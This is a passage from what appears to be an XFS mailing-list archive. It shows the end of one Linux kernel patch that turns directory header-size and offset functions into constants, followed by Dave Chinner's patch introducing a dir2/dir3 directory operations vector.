space block operations */ static int -xfs_dir2_free_hdr_size(void) -{ - return sizeof(struct xfs_dir2_free_hdr); -} - -static int xfs_dir2_free_max_bests(struct xfs_mount *mp) { - return (mp->m_dirblksize - xfs_dir2_free_hdr_size()) / + return (mp->m_dirblksize - sizeof(struct xfs_dir2_free_hdr)) / sizeof(xfs_dir2_data_off_t); } static __be16 * xfs_dir2_free_bests_p(struct xfs_dir2_free *free) { - return (__be16 *)((char *)free + xfs_dir2_free_hdr_size()); + return (__be16 *)((char *)free + sizeof(struct xfs_dir2_free_hdr)); } /* @@ -667,22 +602,16 @@ xfs_dir2_db_to_fdindex(struct xfs_mount *mp, xfs_dir2_db_t db) } static int -xfs_dir3_free_hdr_size(void) -{ - return sizeof(struct xfs_dir3_free_hdr); -} - -static int xfs_dir3_free_max_bests(struct xfs_mount *mp) { - return (mp->m_dirblksize - xfs_dir3_free_hdr_size()) / + return (mp->m_dirblksize - sizeof(struct xfs_dir3_free_hdr)) / sizeof(xfs_dir2_data_off_t); } static __be16 * xfs_dir3_free_bests_p(struct xfs_dir2_free *free) { - return (__be16 *)((char *)free + xfs_dir3_free_hdr_size()); + return (__be16 *)((char *)free + sizeof(struct xfs_dir3_free_hdr)); } /* @@ -774,10 +703,13 @@ const struct xfs_dir_ops xfs_dir2_ops = { .data_entry_tag_p = xfs_dir2_data_entry_tag_p, .data_bestfree_p = xfs_dir2_data_bestfree_p, - .data_dot_offset = xfs_dir2_data_dot_offset, - .data_dotdot_offset = xfs_dir2_data_dotdot_offset, - .data_first_offset = xfs_dir2_data_first_offset, - .data_entry_offset = xfs_dir2_data_entry_offset, + .data_dot_offset = sizeof(struct xfs_dir2_data_hdr), + .data_dotdot_offset = sizeof(struct xfs_dir2_data_hdr) + + XFS_DIR2_DATA_ENTSIZE(1), + .data_first_offset = sizeof(struct xfs_dir2_data_hdr) + + XFS_DIR2_DATA_ENTSIZE(1) + + XFS_DIR2_DATA_ENTSIZE(2), + .data_entry_offset = sizeof(struct xfs_dir2_data_hdr), .data_dot_entry_p = xfs_dir2_data_dot_entry_p, .data_dotdot_entry_p = xfs_dir2_data_dotdot_entry_p, @@ -785,18 +717,18 @@ const struct xfs_dir_ops xfs_dir2_ops = { .data_entry_p = xfs_dir2_data_entry_p, .data_unused_p = xfs_dir2_data_unused_p, - .leaf_hdr_size = xfs_dir2_leaf_hdr_size, + .leaf_hdr_size = sizeof(struct xfs_dir2_leaf_hdr), .leaf_hdr_to_disk = xfs_dir2_leaf_hdr_to_disk, .leaf_hdr_from_disk = xfs_dir2_leaf_hdr_from_disk, .leaf_max_ents = xfs_dir2_max_leaf_ents, .leaf_ents_p = xfs_dir2_leaf_ents_p, - .node_hdr_size = xfs_da2_node_hdr_size, + .node_hdr_size = sizeof(struct xfs_da_node_hdr), .node_hdr_to_disk = xfs_da2_node_hdr_to_disk, .node_hdr_from_disk = xfs_da2_node_hdr_from_disk, .node_tree_p = xfs_da2_node_tree_p, - .free_hdr_size = xfs_dir2_free_hdr_size, + .free_hdr_size = sizeof(struct xfs_dir2_free_hdr), .free_hdr_to_disk = xfs_dir2_free_hdr_to_disk, .free_hdr_from_disk = xfs_dir2_free_hdr_from_disk, .free_max_bests = xfs_dir2_free_max_bests, @@ -821,10 +753,13 @@ const struct xfs_dir_ops xfs_dir2_ftype_ops = { .data_entry_tag_p = xfs_dir3_data_entry_tag_p, .data_bestfree_p = xfs_dir2_data_bestfree_p, - .data_dot_offset = xfs_dir2_data_dot_offset, - .data_dotdot_offset = xfs_dir2_data_dotdot_offset, - .data_first_offset = xfs_dir2_data_first_offset, - .data_entry_offset = xfs_dir2_data_entry_offset, + .data_dot_offset = sizeof(struct xfs_dir2_data_hdr), + .data_dotdot_offset = sizeof(struct xfs_dir2_data_hdr) + + XFS_DIR3_DATA_ENTSIZE(1), + .data_first_offset = sizeof(struct xfs_dir2_data_hdr) + + XFS_DIR3_DATA_ENTSIZE(1) + + XFS_DIR3_DATA_ENTSIZE(2), + .data_entry_offset = sizeof(struct xfs_dir2_data_hdr), .data_dot_entry_p = xfs_dir2_data_dot_entry_p, .data_dotdot_entry_p = xfs_dir2_data_dotdot_entry_p, @@ -832,18 +767,18 @@ const struct xfs_dir_ops xfs_dir2_ftype_ops = { .data_entry_p = xfs_dir2_data_entry_p, .data_unused_p = xfs_dir2_data_unused_p, - .leaf_hdr_size = xfs_dir2_leaf_hdr_size, + .leaf_hdr_size = sizeof(struct xfs_dir2_leaf_hdr), .leaf_hdr_to_disk = xfs_dir2_leaf_hdr_to_disk, .leaf_hdr_from_disk = xfs_dir2_leaf_hdr_from_disk, .leaf_max_ents = xfs_dir2_max_leaf_ents, .leaf_ents_p = xfs_dir2_leaf_ents_p, - .node_hdr_size = xfs_da2_node_hdr_size, + .node_hdr_size = sizeof(struct xfs_da_node_hdr), .node_hdr_to_disk = xfs_da2_node_hdr_to_disk, .node_hdr_from_disk = xfs_da2_node_hdr_from_disk, .node_tree_p = xfs_da2_node_tree_p, - .free_hdr_size = xfs_dir2_free_hdr_size, + .free_hdr_size = sizeof(struct xfs_dir2_free_hdr), .free_hdr_to_disk = xfs_dir2_free_hdr_to_disk, .free_hdr_from_disk = xfs_dir2_free_hdr_from_disk, .free_max_bests = xfs_dir2_free_max_bests, @@ -868,10 +803,13 @@ const struct xfs_dir_ops xfs_dir3_ops = { .data_entry_tag_p = xfs_dir3_data_entry_tag_p, .data_bestfree_p = xfs_dir3_data_bestfree_p, - .data_dot_offset = xfs_dir3_data_dot_offset, - .data_dotdot_offset = xfs_dir3_data_dotdot_offset, - .data_first_offset = xfs_dir3_data_first_offset, - .data_entry_offset = xfs_dir3_data_entry_offset, + .data_dot_offset = sizeof(struct xfs_dir3_data_hdr), + .data_dotdot_offset = sizeof(struct xfs_dir3_data_hdr) + + XFS_DIR3_DATA_ENTSIZE(1), + .data_first_offset = sizeof(struct xfs_dir3_data_hdr) + + XFS_DIR3_DATA_ENTSIZE(1) + + XFS_DIR3_DATA_ENTSIZE(2), + .data_entry_offset = sizeof(struct xfs_dir3_data_hdr), .data_dot_entry_p = xfs_dir3_data_dot_entry_p, .data_dotdot_entry_p = xfs_dir3_data_dotdot_entry_p, @@ -879,35 +817,35 @@ const struct xfs_dir_ops xfs_dir3_ops = { .data_entry_p = xfs_dir3_data_entry_p, .data_unused_p = xfs_dir3_data_unused_p, - .leaf_hdr_size = xfs_dir3_leaf_hdr_size, + .leaf_hdr_size = sizeof(struct xfs_dir3_leaf_hdr), .leaf_hdr_to_disk = xfs_dir3_leaf_hdr_to_disk, .leaf_hdr_from_disk = xfs_dir3_leaf_hdr_from_disk, .leaf_max_ents = xfs_dir3_max_leaf_ents, .leaf_ents_p = xfs_dir3_leaf_ents_p, - .node_hdr_size = xfs_da3_node_hdr_size, + .node_hdr_size = sizeof(struct xfs_da3_node_hdr), .node_hdr_to_disk = xfs_da3_node_hdr_to_disk, .node_hdr_from_disk = xfs_da3_node_hdr_from_disk, .node_tree_p = xfs_da3_node_tree_p, - .free_hdr_size = xfs_dir3_free_hdr_size, + .free_hdr_size = sizeof(struct xfs_dir3_free_hdr), .free_hdr_to_disk = xfs_dir3_free_hdr_to_disk, .free_hdr_from_disk = xfs_dir3_free_hdr_from_disk, - .free_max_bests = xfs_dir2_free_max_bests, + .free_max_bests = xfs_dir3_free_max_bests, .free_bests_p = xfs_dir3_free_bests_p, .db_to_fdb = xfs_dir3_db_to_fdb, .db_to_fdindex = xfs_dir3_db_to_fdindex, }; const struct xfs_dir_ops xfs_dir2_nondir_ops = { - .node_hdr_size = xfs_da2_node_hdr_size, + .node_hdr_size = sizeof(struct xfs_da_node_hdr), .node_hdr_to_disk = xfs_da2_node_hdr_to_disk, .node_hdr_from_disk = xfs_da2_node_hdr_from_disk, .node_tree_p = xfs_da2_node_tree_p, }; const struct xfs_dir_ops xfs_dir3_nondir_ops = { - .node_hdr_size = xfs_da3_node_hdr_size, + .node_hdr_size = sizeof(struct xfs_da3_node_hdr), .node_hdr_to_disk = xfs_da3_node_hdr_to_disk, .node_hdr_from_disk = xfs_da3_node_hdr_from_disk, .node_tree_p = xfs_da3_node_tree_p, diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index 1b44e83..ce16ef0 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -105,7 +105,7 @@ xfs_dir_mount( mp->m_dirleafblk = xfs_dir2_db_to_da(mp, XFS_DIR2_LEAF_FIRSTDB(mp)); mp->m_dirfreeblk = xfs_dir2_db_to_da(mp, XFS_DIR2_FREE_FIRSTDB(mp)); - nodehdr_size = mp->m_dir_inode_ops->node_hdr_size(); + nodehdr_size = mp->m_dir_inode_ops->node_hdr_size; mp->m_attr_node_ents = (mp->m_sb.sb_blocksize - nodehdr_size) / (uint)sizeof(xfs_da_node_entry_t); mp->m_dir_node_ents = (mp->m_dirblksize - nodehdr_size) / diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index 4264cb9..cec70e0 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -59,10 +59,10 @@ struct xfs_dir_ops { struct xfs_dir2_data_free * (*data_bestfree_p)(struct xfs_dir2_data_hdr *hdr); - xfs_dir2_data_aoff_t (*data_dot_offset)(void); - xfs_dir2_data_aoff_t (*data_dotdot_offset)(void); - xfs_dir2_data_aoff_t (*data_first_offset)(void); - size_t (*data_entry_offset)(void); + xfs_dir2_data_aoff_t data_dot_offset; + xfs_dir2_data_aoff_t data_dotdot_offset; + xfs_dir2_data_aoff_t data_first_offset; + size_t data_entry_offset; struct xfs_dir2_data_entry * (*data_dot_entry_p)(struct xfs_dir2_data_hdr *hdr); @@ -75,7 +75,7 @@ struct xfs_dir_ops { struct xfs_dir2_data_unused * (*data_unused_p)(struct xfs_dir2_data_hdr *hdr); - int (*leaf_hdr_size)(void); + int leaf_hdr_size; void (*leaf_hdr_to_disk)(struct xfs_dir2_leaf *to, struct xfs_dir3_icleaf_hdr *from); void (*leaf_hdr_from_disk)(struct xfs_dir3_icleaf_hdr *to, @@ -84,7 +84,7 @@ struct xfs_dir_ops { struct xfs_dir2_leaf_entry * (*leaf_ents_p)(struct xfs_dir2_leaf *lp); - int (*node_hdr_size)(void); + int node_hdr_size; void (*node_hdr_to_disk)(struct xfs_da_intnode *to, struct xfs_da3_icnode_hdr *from); void (*node_hdr_from_disk)(struct xfs_da3_icnode_hdr *to, @@ -92,7 +92,7 @@ struct xfs_dir_ops { struct xfs_da_node_entry * (*node_tree_p)(struct xfs_da_intnode *dap); - int (*free_hdr_size)(void); + int free_hdr_size; void (*free_hdr_to_disk)(struct xfs_dir2_free *to, struct xfs_dir3_icfree_hdr *from); void (*free_hdr_from_disk)(struct xfs_dir3_icfree_hdr *to, diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 364fe3a..96b515b 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -951,7 +951,7 @@ xfs_dir2_leaf_to_block( while (dp->i_d.di_size > mp->m_dirblksize) { int hdrsz; - hdrsz = dp->d_ops->data_entry_offset(); + hdrsz = dp->d_ops->data_entry_offset; bestsp = xfs_dir2_leaf_bests_p(ltp); if (be16_to_cpu(bestsp[be32_to_cpu(ltp->bestcount) - 1]) == mp->m_dirblksize - hdrsz) { @@ -1185,7 +1185,7 @@ xfs_dir2_sf_to_block( blp[1].hashval = cpu_to_be32(xfs_dir_hash_dotdot); blp[1].address = cpu_to_be32(xfs_dir2_byte_to_dataptr(mp, (char *)dep - (char *)hdr)); - offset = dp->d_ops->data_first_offset(); + offset = dp->d_ops->data_first_offset; /* * Loop over existing entries, stuff them in. */ diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 16aa76e..bc36107 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -598,7 +598,7 @@ xfs_dir3_data_init( hdr->magic = cpu_to_be32(XFS_DIR2_DATA_MAGIC); bf = dp->d_ops->data_bestfree_p(hdr); - bf[0].offset = cpu_to_be16(dp->d_ops->data_entry_offset()); + bf[0].offset = cpu_to_be16(dp->d_ops->data_entry_offset); for (i = 1; i < XFS_DIR2_DATA_FD_COUNT; i++) { bf[i].length = 0; bf[i].offset = 0; @@ -610,7 +610,7 @@ xfs_dir3_data_init( dup = dp->d_ops->data_unused_p(hdr); dup->freetag = cpu_to_be16(XFS_DIR2_DATA_FREE_TAG); - t = mp->m_dirblksize - (uint)dp->d_ops->data_entry_offset(); + t = mp->m_dirblksize - (uint)dp->d_ops->data_entry_offset; bf[0].length = cpu_to_be16(t); dup->length = cpu_to_be16(t); *xfs_dir2_data_unused_tag_p(dup) = cpu_to_be16((char *)dup - (char *)hdr); @@ -661,7 +661,7 @@ xfs_dir2_data_log_header( hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)); - xfs_trans_log_buf(tp, bp, 0, dp->d_ops->data_entry_offset() - 1); + xfs_trans_log_buf(tp, bp, 0, dp->d_ops->data_entry_offset - 1); } /* @@ -740,7 +740,7 @@ xfs_dir2_data_make_free( * If this isn't the start of the block, then back up to * the previous entry and see if it's free. */ - if (offset > dp->d_ops->data_entry_offset()) { + if (offset > dp->d_ops->data_entry_offset) { __be16 *tagp; /* tag just before us */ tagp = (__be16 *)((char *)hdr + offset) - 1; diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index a3c21b1..ae47ec6 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -1116,7 +1116,7 @@ xfs_dir3_leaf_log_header( leaf->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)); xfs_trans_log_buf(tp, bp, (uint)((char *)&leaf->hdr - (char *)leaf), - dp->d_ops->leaf_hdr_size() - 1); + dp->d_ops->leaf_hdr_size - 1); } /* @@ -1424,7 +1424,7 @@ xfs_dir2_leaf_removename( * If the data block is now empty then get rid of the data block. */ if (be16_to_cpu(bf[0].length) == - mp->m_dirblksize - dp->d_ops->data_entry_offset()) { + mp->m_dirblksize - dp->d_ops->data_entry_offset) { ASSERT(db != mp->m_dirdatablk); if ((error = xfs_dir2_shrink_inode(args, db, dbp))) { /* @@ -1623,7 +1623,7 @@ xfs_dir2_leaf_trim_data( ASSERT(hdr->magic == cpu_to_be32(XFS_DIR2_DATA_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC)); ASSERT(be16_to_cpu(bf[0].length) == - mp->m_dirblksize - dp->d_ops->data_entry_offset()); + mp->m_dirblksize - dp->d_ops->data_entry_offset); ASSERT(db == be32_to_cpu(ltp->bestcount) - 1); } #endif diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index cd83037..50958c3 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -274,7 +274,7 @@ xfs_dir2_free_log_header( ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC) || free->hdr.magic == cpu_to_be32(XFS_DIR3_FREE_MAGIC)); #endif - xfs_trans_log_buf(tp, bp, 0, dp->d_ops->free_hdr_size() - 1); + xfs_trans_log_buf(tp, bp, 0, dp->d_ops->free_hdr_size - 1); } /* @@ -1268,7 +1268,7 @@ xfs_dir2_leafn_remove( * (usually). */ if (longest == mp->m_dirblksize - - dp->d_ops->data_entry_offset()) { + dp->d_ops->data_entry_offset) { /* * Try to punch out the data block. */ @@ -1300,7 +1300,7 @@ xfs_dir2_leafn_remove( * Return indication of whether this leaf block is empty enough * to justify trying to join it with a neighbor. */ - *rval = (dp->d_ops->leaf_hdr_size() + + *rval = (dp->d_ops->leaf_hdr_size + (uint)sizeof(ents[0]) * (leafhdr.count - leafhdr.stale)) < mp->m_dir_magicpct; return 0; @@ -1409,7 +1409,7 @@ xfs_dir2_leafn_toosmall( xfs_dir3_leaf_check(dp, blk->bp); count = leafhdr.count - leafhdr.stale; - bytes = dp->d_ops->leaf_hdr_size() + count * sizeof(ents[0]); + bytes = dp->d_ops->leaf_hdr_size + count * sizeof(ents[0]); if (bytes > (state->blocksize >> 1)) { /* * Blk over 50%, don't try to join. diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index f45ecac..c4e50c6 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -119,9 +119,9 @@ xfs_dir2_sf_getdents( * mp->m_dirdatablk. */ dot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - dp->d_ops->data_dot_offset()); + dp->d_ops->data_dot_offset); dotdot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - dp->d_ops->data_dotdot_offset()); + dp->d_ops->data_dotdot_offset); /* * Put . entry unless we're starting past it. @@ -584,7 +584,7 @@ xfs_dir2_leaf_getdents( * Skip past the header. */ if (byteoff == 0) - curoff += dp->d_ops->data_entry_offset(); + curoff += dp->d_ops->data_entry_offset; /* * Skip past entries until we reach our offset. */ diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index 42bbcff..aafc6e4 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -473,7 +473,7 @@ xfs_dir2_sf_addname_hard( * to insert the new entry. * If it's going to end up at the end then oldsfep will point there. */ - for (offset = dp->d_ops->data_first_offset(), + for (offset = dp->d_ops->data_first_offset, oldsfep = xfs_dir2_sf_firstentry(oldsfp), add_datasize = dp->d_ops->data_entsize(args->namelen), eof = (char *)oldsfep == &buf[old_isize]; @@ -556,7 +556,7 @@ xfs_dir2_sf_addname_pick( sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; size = dp->d_ops->data_entsize(args->namelen); - offset = dp->d_ops->data_first_offset(); + offset = dp->d_ops->data_first_offset; sfep = xfs_dir2_sf_firstentry(sfp); holefit = 0; /* @@ -629,7 +629,7 @@ xfs_dir2_sf_check( mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - offset = dp->d_ops->data_first_offset(); + offset = dp->d_ops->data_first_offset; ino = dp->d_ops->sf_get_parent_ino(sfp); i8count = ino > XFS_DIR2_MAX_SHORT_INUM; -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 22FB87F4E for ; Sun, 29 Sep 2013 22:07:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C798AAC003 for ; Sun, 29 Sep 2013 20:07:33 -0700 (PDT) X-ASG-Debug-ID: 1380510443-04bdf02f2315f0610005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Mpr4nPzWxqWIsyCi for ; Sun, 29 Sep 2013 20:07:31 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwGk3oDqXiDNiqBLCQ Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:25 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006La-O0 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002C1-N8 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 07/16] xfs: abstract the differences in dir2/dir3 via an ops vector Date: Mon, 30 Sep 2013 13:07:04 +1000 X-ASG-Orig-Subj: [PATCH 07/16] xfs: abstract the differences in dir2/dir3 via an ops vector Message-Id: <1380510433-8353-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510451 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Lots of the dir code now goes through switches to determine what is the correct on-disk format to parse. It generally involves a "xfs_sbversion_hasfoo" check, deferencing the superblock version and feature fields and hence touching several cache lines per operation in the process. Some operations do multiple checks because they nest conditional operations and they don't pass the information in a direct fashion between each other. Hence, add an ops vector to the xfs_inode structure that is configured when the inode is initialised to point to all the correct decode and encoding operations. This will significantly reduce the branchiness and cacheline footprint of the directory object decoding and encoding. This is the first patch in a series of conversion patches. It will introduce the ops structure, the setup of it and add the first operation to the vector. Subsequent patches will convert directory ops one at a time to keep the changes simple and obvious. Just this patch shows the benefit of such an approach on code size. Just converting the two shortform dir operations as this patch does decreases the built binary size by ~1500 bytes: $ size fs/xfs/xfs.o.orig fs/xfs/xfs.o.p1 text data bss dec hex filename 794490 96802 1096 892388 d9de4 fs/xfs/xfs.o.orig 792986 96802 1096 890884 d9804 fs/xfs/xfs.o.p1 $ That's a significant decrease in the instruction cache footprint of the directory code for such a simple change, and indicates that this approach is definitely worth pursuing further. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 + fs/xfs/xfs_da_btree.h | 1 + fs/xfs/xfs_da_format.c | 85 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_da_format.h | 26 --------------- fs/xfs/xfs_dir2.c | 7 ++++ fs/xfs/xfs_dir2.h | 14 ++++++++ fs/xfs/xfs_dir2_block.c | 2 +- fs/xfs/xfs_dir2_readdir.c | 4 +-- fs/xfs/xfs_dir2_sf.c | 31 +++++++++-------- fs/xfs/xfs_inode.h | 3 ++ fs/xfs/xfs_iops.c | 1 + fs/xfs/xfs_mount.h | 2 ++ 12 files changed, 132 insertions(+), 45 deletions(-) create mode 100644 fs/xfs/xfs_da_format.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 33a69fa..c21f435 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -66,6 +66,7 @@ xfs-y += xfs_alloc.o \ xfs_bmap_btree.o \ xfs_btree.o \ xfs_da_btree.o \ + xfs_da_format.o \ xfs_dir2.o \ xfs_dir2_block.o \ xfs_dir2_data.o \ diff --git a/fs/xfs/xfs_da_btree.h b/fs/xfs/xfs_da_btree.h index e492dca..6e95ea7 100644 --- a/fs/xfs/xfs_da_btree.h +++ b/fs/xfs/xfs_da_btree.h @@ -23,6 +23,7 @@ struct xfs_bmap_free; struct xfs_inode; struct xfs_trans; struct zone; +struct xfs_dir_ops; /*======================================================================== * Btree searching and modification structure definitions. diff --git a/fs/xfs/xfs_da_format.c b/fs/xfs/xfs_da_format.c new file mode 100644 index 0000000..982d105 --- /dev/null +++ b/fs/xfs/xfs_da_format.c @@ -0,0 +1,85 @@ +/* + * Copyright (c) 2000,2002,2005 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_da_format.h" +#include "xfs_inode.h" +#include "xfs_dir2.h" + + +static int +xfs_dir2_sf_entsize( + struct xfs_dir2_sf_hdr *hdr, + int len) +{ + int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ + + count += len; /* name */ + count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : + sizeof(xfs_dir2_ino4_t); /* ino # */ + return count; +} + +static int +xfs_dir3_sf_entsize( + struct xfs_dir2_sf_hdr *hdr, + int len) +{ + return xfs_dir2_sf_entsize(hdr, len) + sizeof(__uint8_t); +} + +static struct xfs_dir2_sf_entry * +xfs_dir2_sf_nextentry( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (struct xfs_dir2_sf_entry *) + ((char *)sfep + xfs_dir2_sf_entsize(hdr, sfep->namelen)); +} + +static struct xfs_dir2_sf_entry * +xfs_dir3_sf_nextentry( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (struct xfs_dir2_sf_entry *) + ((char *)sfep + xfs_dir3_sf_entsize(hdr, sfep->namelen)); +} + + +const struct xfs_dir_ops xfs_dir2_ops = { + .sf_entsize = xfs_dir2_sf_entsize, + .sf_nextentry = xfs_dir2_sf_nextentry, +}; + +const struct xfs_dir_ops xfs_dir2_ftype_ops = { + .sf_entsize = xfs_dir3_sf_entsize, + .sf_nextentry = xfs_dir3_sf_nextentry, +}; + +const struct xfs_dir_ops xfs_dir3_ops = { + .sf_entsize = xfs_dir3_sf_entsize, + .sf_nextentry = xfs_dir3_sf_nextentry, +}; diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h index 89a1a21..d54726d 100644 --- a/fs/xfs/xfs_da_format.h +++ b/fs/xfs/xfs_da_format.h @@ -329,32 +329,6 @@ xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); } -static inline int -xfs_dir3_sf_entsize( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - int len) -{ - int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ - - count += len; /* name */ - count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : - sizeof(xfs_dir2_ino4_t); /* ino # */ - if (xfs_sb_version_hasftype(&mp->m_sb)) - count += sizeof(__uint8_t); /* file type */ - return count; -} - -static inline struct xfs_dir2_sf_entry * -xfs_dir3_sf_nextentry( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - return (struct xfs_dir2_sf_entry *) - ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); -} - /* * in dir3 shortform directories, the file type field is stored at a variable * offset after the inode number. Because it's only a single byte, endian diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index 38bf932..7911136 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -112,6 +112,13 @@ xfs_dir_mount( mp->m_dirnameops = &xfs_ascii_ci_nameops; else mp->m_dirnameops = &xfs_default_nameops; + + if (xfs_sb_version_hascrc(&mp->m_sb)) + mp->m_dir_inode_ops = &xfs_dir3_ops; + else if (xfs_sb_version_hasftype(&mp->m_sb)) + mp->m_dir_inode_ops = &xfs_dir2_ftype_ops; + else + mp->m_dir_inode_ops = &xfs_dir2_ops; } /* diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index 9910401..1909d9f 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -32,6 +32,20 @@ struct xfs_dir2_data_unused; extern struct xfs_name xfs_name_dotdot; /* + * directory operations vector for encode/decode routines + */ +struct xfs_dir_ops { + int (*sf_entsize)(struct xfs_dir2_sf_hdr *hdr, int len); + struct xfs_dir2_sf_entry * + (*sf_nextentry)(struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep); +}; + +extern const struct xfs_dir_ops xfs_dir2_ops; +extern const struct xfs_dir_ops xfs_dir2_ftype_ops; +extern const struct xfs_dir_ops xfs_dir3_ops; + +/* * Generic directory interface routines */ extern void xfs_dir_startup(void); diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 9f3f83a..9d86b6f 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -1240,7 +1240,7 @@ xfs_dir2_sf_to_block( if (++i 